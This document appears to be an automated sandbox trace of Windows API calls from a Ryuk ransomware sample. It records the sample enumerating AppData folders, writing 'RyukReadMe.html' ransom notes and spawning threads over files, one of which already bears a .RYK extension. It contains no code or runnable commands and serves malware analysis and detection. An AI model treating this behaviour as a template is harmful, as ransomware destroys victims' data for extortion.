	[0278.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8
	[0278.527] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.528] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
	[0278.528] SetLastError (dwErrCode=0x0) 
	[0278.528] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.528] GetLastError () returned 0xb7
	[0278.528] CloseHandle (hObject=0x8dc) returned 1
	[0278.528] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.530] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.530] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0278.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0278.691] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.792] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
	[0278.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0278.796] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.797] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
	[0278.797] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0
	[0278.803] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.803] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0
	[0278.804] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.805] SetLastError (dwErrCode=0x0) 
	[0278.805] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.807] GetLastError () returned 0x0
	[0278.807] WriteFile (in: hFile=0x8dc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0278.809] CloseHandle (hObject=0x8dc) returned 1
	[0278.810] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c547020, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c56d180, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.810] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0278.810] SetLastError (dwErrCode=0x0) 
	[0278.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.810] GetLastError () returned 0xb7
	[0278.810] CloseHandle (hObject=0x8dc) returned 1
	[0278.811] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.811] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.811] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
	[0278.811] SetLastError (dwErrCode=0x0) 
	[0278.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.811] GetLastError () returned 0x3
	[0278.811] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0278.811] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.811] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0278.811] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0278.811] SetLastError (dwErrCode=0x0) 
	[0278.812] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.812] GetLastError () returned 0x3
	[0278.812] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0278.812] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.812] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0
	[0278.812] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.812] SetLastError (dwErrCode=0x0) 
	[0278.812] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.812] GetLastError () returned 0x3
	[0278.812] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0278.812] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.812] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0278.813] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.813] SetLastError (dwErrCode=0x0) 
	[0278.813] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.813] GetLastError () returned 0xb7
	[0278.813] CloseHandle (hObject=0x8cc) returned 1
	[0278.813] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7cd037a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd037a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0278.814] SetLastError (dwErrCode=0x0) 
	[0278.814] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.814] GetLastError () returned 0xb7
	[0278.814] CloseHandle (hObject=0x8cc) returned 1
	[0278.814] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7cd037a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd037a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.814] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7cd037a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7cd037a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.814] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0278.815] SetLastError (dwErrCode=0x0) 
	[0278.815] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.815] GetLastError () returned 0xb7
	[0278.815] CloseHandle (hObject=0x8dc) returned 1
	[0278.815] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.816] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7ccb74e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7ccb74e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.816] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.816] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 1
	[0278.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0278.822] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.823] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="fwlink[1].RYK", cAlternateFileName="FWLINK~1.RYK")) returned 0
	[0278.823] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.823] SetLastError (dwErrCode=0x0) 
	[0278.823] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc
	[0278.824] GetLastError () returned 0x0
	[0278.824] WriteFile (in: hFile=0x8dc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0278.826] CloseHandle (hObject=0x8dc) returned 1
